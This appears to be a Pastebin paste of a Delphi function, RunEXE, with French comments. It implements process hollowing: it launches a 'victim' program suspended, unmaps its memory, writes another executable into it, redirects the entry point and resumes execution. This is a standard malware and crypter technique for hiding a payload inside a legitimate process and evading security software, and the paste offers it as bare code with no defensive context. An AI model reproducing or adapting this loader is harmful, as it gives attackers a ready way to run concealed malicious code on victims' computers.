Guest User

Untitled

a guest
Aug 9th, 2018
90
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Delphi 3.07 KB | None | 0 0
  1. function RunEXE(sVictim:string; bFile:TByteArray):Boolean;
  2. var
  3.   IDH:        TImageDosHeader;
  4.   INH:        TImageNtHeaders;
  5.   ISH:        TImageSectionHeader;
  6.   PI:         TProcessInformation;
  7.   SI:         TStartUpInfo;
  8.   CONT:       TContext; // Contient des données du registre spécifique aux processus
  9.   ImageBase:  Pointer;
  10.   Ret:        DWORD;
  11.   i:          integer;
  12.   Addr:       DWORD;
  13.   dOffset:    DWORD;
  14. begin
  15.   Result := FALSE;
  16.   try
  17.     Move(@IDH, @bFile[0], 64);
  18.     if IDH.e_magic = IMAGE_DOS_SIGNATURE then // Si la signature est valide (MZ)
  19.     begin
  20.       Move(@INH, @bFile[IDH._lfanew], 248); // On lit l'entête PE
  21.       if INH.Signature = IMAGE_NT_SIGNATURE then // Si la signature est valide (PE\0\0)
  22.       begin
  23.         (* Initialisation de TStartupInfo et TProcessInformation *)
  24.         FillChar(SI, SizeOf(TStartupInfo),#0);
  25.         FillChar(PI, SizeOf(TProcessInformation),#0);
  26.         SI.cb := SizeOf(TStartupInfo);
  27.         if CreateProcess(nil, PChar(sVictim), nil, nil, FALSE, CREATE_SUSPENDED, nil, nil, SI, PI) then // On met en "pause" le processus
  28.         begin
  29.           CONT.ContextFlags := CONTEXT_FULL; // CONTEXT_FULL (CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS)
  30.           if GetThreadContext(PI.hThread, CONT) then // Retourne le context du thread courant
  31.           begin
  32.             ReadProcessMemory(PI.hProcess, Ptr(CONT.Ebx + 8), @Addr, 4, Ret); // Retourne dans Addr le contenu du processus
  33.             NtUnmapViewOfSection(PI.hProcess, @Addr); // Map une section en mémoire
  34.             ImageBase := VirtualAllocEx(PI.hProcess, Ptr(INH.OptionalHeader.ImageBase), INH.OptionalHeader.SizeOfImage, MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE); // Réserve l'espace nécessaire
  35.             WriteProcessMemory(PI.hProcess, ImageBase, @bFile[0], INH.OptionalHeader.SizeOfHeaders, Ret); // Ecrit l'ImageBase dans le processus
  36.             dOffset := IDH._lfanew + 248; // SizeOf(TImageNtHeaders) = 248
  37.             for i := 0 to INH.FileHeader.NumberOfSections - 1 do // On liste toutes les sections
  38.             begin
  39.               Move(@ISH, @bFile[dOffset + (i * 40)], 40); // Une section fait 40 octets
  40.               WriteProcessMemory(PI.hProcess, Ptr(Cardinal(ImageBase) + ISH.VirtualAddress), @bFile[ISH.PointerToRawData], ISH.SizeOfRawData, Ret); // On inscrit la section dans le processus
  41.               VirtualProtectEx(PI.hProcess, Ptr(Cardinal(ImageBase) + ISH.VirtualAddress), ISH.Misc.VirtualSize, PAGE_EXECUTE_READWRITE, @Addr); // Autorisation d'écuter/lire/modifier la section
  42.             end;
  43.             WriteProcessMemory(PI.hProcess, Ptr(CONT.Ebx + 8), @ImageBase, 4, Ret); // Modifie le context
  44.             CONT.Eax := Cardinal(ImageBase) + INH.OptionalHeader.AddressOfEntryPoint; // L'adresse ou l'on va charger le tout
  45.             SetThreadContext(PI.hThread, CONT); // Modifie une derniére fois le context
  46.             ResumeThread(PI.hThread); // On execute
  47.             Result := TRUE;
  48.           end;
  49.         end;
  50.       end;
  51.     end;
  52.   except
  53.     CloseHandle(PI.hProcess);
  54.     CloseHandle(PI.hThread);
  55.   end;
  56. end;
Add Comment
Please, Sign In to add comment